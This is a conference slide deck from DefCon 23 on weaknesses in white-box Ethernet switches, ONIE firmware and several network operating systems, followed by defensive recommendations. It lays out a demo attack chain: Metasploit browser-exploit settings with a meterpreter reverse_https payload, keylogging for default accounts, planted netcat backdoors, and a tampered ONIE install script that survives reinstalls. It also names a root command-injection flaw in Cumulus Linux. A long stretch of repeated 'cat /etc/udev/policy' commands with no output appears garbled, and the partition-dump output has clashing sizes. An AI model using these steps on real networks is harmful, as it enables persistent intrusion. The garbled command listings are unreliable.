Staying Persistent in Software Defined Networks

DefCon 23, Las Vegas 2015
Gregory Pickett, CISSP, GCIA, GPEN
Chicago, Illinois

gregory.pickett@hellfiresecurity.com
Overview

- White Box Ethernet
- Stupid Is As Stupid Does!
- Exploiting it!
- Moving Forward
- Wrapping Up
What Is It?

- Standard Hardware ("Blank" Slate)
- Running Merchant Silicon
  - Trident and Broadcom Chipsets
  - Intel, AMD, and PowerPC processors
- Common Operating System (Often Linux-Based)
- Critical for Software Defined Networking
- Can Be Used Without It!
Why Do It?

- Reduced Cost
- Flexibility
- Control
  - Traditional
  - DevOps
  - Software Defined Networking
Open Compute Project

- Started By Facebook
- Total Redesign of Existing Technology To Meet Emerging Needs
- Specifications for Server, Storage, and the Data Center
- Designed to be efficient, to be inexpensive, and to be easy to service
Open Compute Project

- Vanity Free and Minimalistic
- Not Tied To Brands or Anything Proprietary
- Components Are Abstracted
- Therefore ... Interchangeable
Open Network Install Environment (ONIE)

- Firmware for bare metal network switches
- Boot Loader for Network Operating Systems (NOS)
  - Grub/U-Boot Underneath
  - Facilitates Installation and Removal of NOS
- Comes Pre-Installed
- Automates Switch Deployment
White Box Ethernet and ONIE

What Could Go Wrong?
Weaknesses (Operating System)

- Privileged Accounts
  - No Root Password
  - Doesn’t Force You To Change It!

- Management Services
  - Uses Telnet
  - SSH
    - Installation Mode (18-bits Entropy)
    - Recovery Mode (26-bits Entropy)
Weaknesses (Installer)

- Predictable URLs
  - Exact URLs from DHCPv4
  - Inexact URLs based on DHCP Response
  - IPv6 Neighbors
  - TFTP Waterfall
- Predictable File Name Search Order
- No Encryption or Authentication for Installs
Weaknesses (Implementation)

- Exposed Partition
- No Secure Boot
What Does This Mean?

BUT YOU AIN'T GOT NO LEGS, LIEUTENANT DAN.

Lot's Of Opportunities to Blow It Up!
Here’s How

✨ Compromise It’s Installations
  ✨ Via Rogue DHCP Server
  ✨ Via IPv6 Neighbor
  ✨ Via TFTP

✨ Compromise It
  ✨ Forced Reboot Entry
  ✨ Sniffing/MiTM (Telnet or SSH)
Even Better

- Compromise It
  - Get Past Network Operating System
  - Modify ONIE
    - Exposed Partition
    - No Secure Boot
  - Now You’re In the Firmware . . .
  - Now You’re There Forever!
PERSISTENCE

YEAH!
Network Operating Systems (NOS)

- Gets Installed By ONIE
- Operates the Switch
- ONIE-Compatible Distributions
  - Open Network Linux
  - Switch Light
  - Cumulus Linux
  - MLNX-OS
Open Network Linux

- Linux distribution for "bare metal" switches
- Based On Debian Linux
- Bare-Bones with No Features
- Development Platform Only
- Maintained by Open Compute Project
Switch Light

- Linux distribution for "bare metal" switches
- Packaged Open Network Linux
- Indigo Openflow Agent
- Extension of Big Switch Fabric (SDN)
- Maintained by Big Switch Networks
Cumulus Linux

- Linux distribution for "bare metal" switches
- Based On Debian Linux
- Puppet/Chef/Ansible Agent
- Network Automation and Orchestration (DevOps)
- Maintained by Cumulus Networks
MLNX-OS

- Linux distribution for "bare metal" switches
- Based On Enterprise Linux 5 (Red Hat Enterprise Linux 5)
- Puppet/Chef/Ansible/eSwitch Agent
- Network Automation and Orchestration (DevOps) or Controller (SDN)
- Maintained by Mellanox
Weaknesses (Agent)

- No Encryption and No Authentication
  - Switch Light (Indigo)
  - MLNX-OS (eSwitch)
- Out-Dated OpenSSL
  - Switch Light (Actually No SSL Used! WTF?)
  - Cumulus Linux (OpenSSL 1.0.1e → Puppet)
  - MLNX-OS (OpenSSL 0.9.8e-fips-rhel5)
Could Lead To . . .

- Topology, Flow, and Message Modification through **Unauthorized Access**
  - Add Access
  - Remove Access
  - Hide Traffic
  - Change Traffic

- Information Disclosure through **Exploitation**
  - Switch Light (Indigo)
  - MLNX-OS (eSwitch)
  - Cumulus Linux (Puppet)
Weaknesses (Agent)

+ Running As Root
  + Switch Light (Indigo)
  + Cumulus Linux (Puppet)
+ Vulnerable Code
  + Lot’s of MEMCPY (Indigo)
Could Lead To . . .

Nothing Yet!

But Still, It’s Kind Of Scary . . .
Weaknesses (Operating System)

- Out-Dated Bash
  - Switch Light (Bash version 4.2.37)
  - Cumulus Linux (Bash version 4.2.37)
  - MLNX-OS (Bash version 3.2.9)
Weaknesses (Operating System)

- Default (and Fixed) Privileged Accounts
  - Switch Light
    - admin
    - root (hidden/disabled)
  - Cumulus Linux
    - cumulus
    - root (disabled)
  - MLNX-OS
    - admin
    - root (hidden/disabled)
Weaknesses (Operating System)

- Doesn’t Force You To Change Default Passwords for Privileged Accounts
  - Switch Light (admin)
  - Cumulus Linux (cumulus)
  - MLNX-OS (admin)
Weaknesses (Operating System)

- Easy Escape to Shell
  - Switch Light (enable, debug bash)
  - Cumulus Linux (N/A)
  - MLNX-OS (shell escape)

- Instant Elevation
  - Switch Light (N/A)
  - Cumulus Linux (sudo)
  - MLNX-OS (su)

Remember that disabled root account?
Could Lead To . . .

- Full Control of Your Network through Unauthorized Access
  - Add Access
  - Remove Access
  - Hide Traffic
  - Change Traffic

- Compromise of Firmware through Unauthorized Access

Switch Light
Cumulus Linux
MLNX-OS

Switch Light
Cumulus Linux
MLNX-OS
admin:x:0:0::/root:/usr/bin/pcli
Exposed ONIE Partition

```
root@localhost:~# lsblk /dev/xvda

root@localhost:~# ls -l /dev/xvda
lrwxrwxrwx 1 root root 56 2 Jul 13 22:52 /dev/xvda
```

```bash
root@localhost:~# df -h /dev/xvda
```

```bash
root@localhost:~# cat /etc/udev/rules.d/10-misc.rules
```

```bash
root@localhost:~# cat /etc/udev/mode
```

```bash
root@localhost:~# cat /etc/udev/policy/08-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/09-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/10-hid
```

```bash
root@localhost:~# cat /etc/udev/policy/11-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/12-virtual
```

```bash
root@localhost:~# cat /etc/udev/policy/13-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/14-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/15-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/16-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/17-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/18-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/19-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/20-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/21-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/22-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/23-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/24-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/25-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/26-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/27-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/28-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/29-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/30-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/31-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/32-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/33-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/34-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/35-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/36-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/37-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/38-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/39-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/40-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/41-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/42-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/43-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/44-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/45-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/46-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/47-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/48-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/49-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/50-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/51-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/52-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/53-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/54-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/55-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/56-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/57-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/58-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/59-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/60-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/61-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/62-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/63-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/64-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/65-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/66-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/67-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/68-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/69-xinput
```

```bash
root@localhost:~# cat /etc/udev/policy/70-gpio
```

```bash
root@localhost:~# cat /etc/udev/policy/71-usb
```

```bash
root@localhost:~# cat /etc/udev/policy/72-xinput
```
Exposed ONIE Partition

```bash
root@localhost:~ # dd if=/dev/mtdblock1 of=/tmp/onie_dump
119948 records in
119948 records out
1199304 bytes copied, 2.5967 s, 448.00 KB/s
root@localhost:~ # cp /tmp/onie_dump onie_dump
root@localhost:/tmp# ls
onie_dump
root@localhost:~ # ls -l onie_dump
total 4096
-rw-r--r-- 1 root root 6144304 Jul 14 01:02 onie_dump
root@localhost:/tmp# ```
Once More With Feeling!
Why?

- Disabled Root Accounts Can Still Be Used If Logged In Already!
- Just Need Shell Access
- Since they are hidden from user, highly likely their passwords won’t be set!
- Just one “su”, and you are in ...
This Means

Your Network

Is One Key Logger Away!
Scenario (Demo)

- End-User System (Windows)
  - Drive-By Web Attack/Phishing Email
  - Key Logging for Default Accounts
  - SDN Discovery (Southbound API)
  - Second Stage Attack
- Network Operating System (Linux)
  - Compromised Login
  - Plant and Start Binaries (Backdoor)
Scenario (Demo)

- ONIE
  - Planted Binaries Added
  - "onie-nos-install" Shell Script Modified

- Wait! Our Switch Is Infected!
  - Backdoor Accessible
  - Even from the Internet (Pivoting)
Scenario (Demo)

- **Environment Refresh**
  - `onie-nos-install` Downloads And Executes nos Installer
  - Afterwards
    - Adds Planted Binaries Back
    - Set’s Run-Level!

- **Resurrection!**
  - Backdoor Accessible
  - Even from the Internet (Pivoting)
Delivery (Demo)

Metasploit Setup
- use exploit/multi/browser/java_jre17_jmxbean
- set EXE::Custom \path\to\Custom.exe
- set payload windows/meterpreter/reverse_https

Drive-By
- Demo Site
- Click Link
- Redirect to Known Good
Malware (Demo)

Assumptions
- Management Station (Windows-Based)
- Switch
  - Linux-Based
  - Southbound APIs Running
- Management Plane
  - Not Accessible from Internet
  - Accessible from Management Station
Malware (Demo)

Methods (First Stage)
- Scanning
  - Openflow Ports (6633, 6653)
  - SSH Banners
- Exploitation
  - SSH Client
  - Wrapper Escape Commands
- Binary Planted
  - Cross-Compiled for Demo-OS (netcat)
  - Delivered Via printf | dd
  - Yes, I know It’s Ugly!
Malware (Demo)

Methods (First Stage)
- ONIE Modified (Shell Commands Modify onie-nos-install)
- Pivot (Reverse HTTP)

Methods (Second Stage) (netcat)
Malware (Demo)

- Development
  - First Stage
    - Python Script Compiled
    - Only Several Megabytes In Size
  - Second Stage
    - `netcat` from source
Demonstration
Malware (Improvements)

- **First Stage (Additional Exploitation)**
  - Bash

- **Second Stage (Custom)**
  - Attacks
    - Network Modification and Manipulation
    - Attacks Against Loopback Services (Escalation)
  - Evasion
    - Recovery from ONIE Upgrade
    - Various Linux ...
  - Worming
And Now Some Pwnage . . .

Sorry Cumulus Linux!
Zero-Day Exploit

- Cumulus Linux Has Several Command-Line Tools
  - cl-bgp, cl-ospf, cl-ospf6, cl-ra, and cl-rctl
  - Meant To Be Used By Reduced Privilege “admin”
  - Commands Processed By “clcmd-server.py” On Unix Sockets
- Command Injection Issues!
- Boom Goes CLCMD-SERVER
- And it runs as “Root”
<table>
<thead>
<tr>
<th>User</th>
<th>PID</th>
<th>Time</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>2015</td>
<td>0:00</td>
<td>/usr/sbin/ldpd -c</td>
</tr>
<tr>
<td>ntp</td>
<td>2088</td>
<td>0:00</td>
<td>/usr/sbin/ntpd -p /var/run/ntpd.pid -g -u0 -c /var/lib/ntpd/ntpd.c</td>
</tr>
<tr>
<td>lldpd</td>
<td>2177</td>
<td>0:00</td>
<td>/usr/sbin/lldpd -c</td>
</tr>
<tr>
<td>root</td>
<td>2349</td>
<td>0:00</td>
<td>/usr/sbin/ptmd -d -l INFO</td>
</tr>
<tr>
<td>root</td>
<td>2362</td>
<td>0:00</td>
<td>/usr/bin/python /usr/lib/python2.7/dist-packages/clcmd_server.py</td>
</tr>
<tr>
<td>root</td>
<td>2472</td>
<td>0:00</td>
<td>/usr/sbin/sshd</td>
</tr>
<tr>
<td>root</td>
<td>2586</td>
<td>0:00</td>
<td>/bin/bash /usr/bin/arp_refresh</td>
</tr>
<tr>
<td>root</td>
<td>2613</td>
<td>0:00</td>
<td>/usr/bin/python /usr/lib/cumulus/tp-usb</td>
</tr>
<tr>
<td>root</td>
<td>2742</td>
<td>0:00</td>
<td>/usr/bin/monit -p /var/run/monit.pid -s /var/run/monit/state -c</td>
</tr>
<tr>
<td>root</td>
<td>2876</td>
<td>0:00</td>
<td>/sbin/getty -L ttyS0 115200 vt100</td>
</tr>
<tr>
<td>root</td>
<td>2879</td>
<td>0:00</td>
<td>/bin/bash /usr/bin/arp_refresh</td>
</tr>
<tr>
<td>quagga</td>
<td>4285</td>
<td>0:00</td>
<td>/usr/lib/quagga/zebra --daemon --A 127.0.0.1</td>
</tr>
<tr>
<td>quagga</td>
<td>4312</td>
<td>0:00</td>
<td>/usr/lib/quagga/ospfd --daemon --A 127.0.0.1</td>
</tr>
<tr>
<td>root</td>
<td>4337</td>
<td>0:00</td>
<td>/usr/lib/quagga/watchquagga --addr -r /usr/sbin/serviceb&amp;quagghdr</td>
</tr>
</tbody>
</table>
Demonstration
Exposed ONIE Partition

cumulus@leaf1:~$ sudo dd if=/dev/mtabblock1 of=/tmp/onie_dump
819240 records in
819240 records out
819240 bytes (4.2 MB) copied, 2.32472 s, 1.9 MB/s

cumulus@leaf1:~$ cd /tmp

cumulus@leaf1:~$ ls
onie_dump

cumulus@leaf1:~$ ls -l
total 4096
-rw-r--r-- 1 root root 819240 Apr 12 22:28 onie_dump

cumulus@leaf1:~$
Available Solutions

- Hardware
- Install Environment
- Network Operating Systems
- Agents
- Enterprise Architecture
Hardware

- Trusted Platform Module (TPM)
- Rob Sherwood Had These Put In for Most x86-Based Switches
- Let's Add Them to the PowerPC Switches
- Then, Let's Use Them!
Install Environment

- Remove Telnet
- Increase Key Entropy
- Force Password Change
- Remove IPv6 and TFTP Waterfall
- Sign the Installations
Operating Systems

- Changeable Names
  - uid 0 accounts
  - “reduced” privilege accounts
- Force Password Change
- Tighten Shell Access
  - Switch Light (Two-Factor Escape)
  - Cumulus Linux (Wrapper)
  - MLNX-OS (Two-Factor Escape)
Agents

- Use TLS
- Add Encryption and Authentication
- Use DevOps or SDN to Coordinate Certificate and Key Distribution
Enterprise Architecture

- Isolate Management Plane
  - Rarely Done
  - What’s wrong with Jump Boxes?
- Audit Switches
  - Password Changes
  - ONIE Partition Hashes
Racing Ahead

- Impact On Security
- Keeping Pressure On Developers (Scaring Them)
- Making The Difference
Impact On Security

- Getting Products/Features To Market Is Important ... I get it. We all get it.
- But You're Not Learning
  - Desktop Operating Systems
  - Server Operating Systems
- These Are Not New
- Wake Up!
So Begins The Spinning of the Merry-Go-Round

+ We Hack It
+ You Fix It

Let The Clean-Up Begin

Is It So Hard To Hire Someone for Security

+ I thought fixing It later was more expensive?
+ Security Can Be A Feature Too

Scaring Developers!
Making The Difference

- Learn From Desktop and Server Operating Systems
- Leverage Management Platforms (DevOps) or Controllers (SDN)
  - Security Reference
  - Audit Capability (Reconciliation)
  - Logging
- Logic Probes
Final Thoughts

- SDN has the potential to turn the entire Internet into a cloud.
- Benefit would be orders of magnitude above what we see now.
- But there is a hole in the middle of it that could easily be filled by the likes of the NSA... or worse yet, China.
- Let’s Not Let That Happen.
- And That Start’s Here.
Links

- https://github.com/opencomputeproject/onie/wiki/CLI-Reference
- http://opennetlinux.org/docs/build
- http://opennetlinux.org/docs/deploy
- http://labs.bigswitch.com
- https://github.com/floodlight/indigo
- https://github.com/floodlight/ivs
- http://docs.cumulusnetworks.com/
- http://cumulusnetworks.com/get-started/test-drive-open-networking/
- https://puppetlabs.com/blog/puppet-cumulus-linux
Links

- https://github.com/puppetlabs/puppet
- http://www.mellanox.com/page/mlnx_os
- http://h20564.www2.hp.com/hpsc/swd/public/detail?swItemId=MTX_8adfc6bf6e0834a5a82564b4825
- https://github.com/mellanox-openstack/mellanox-eswitchd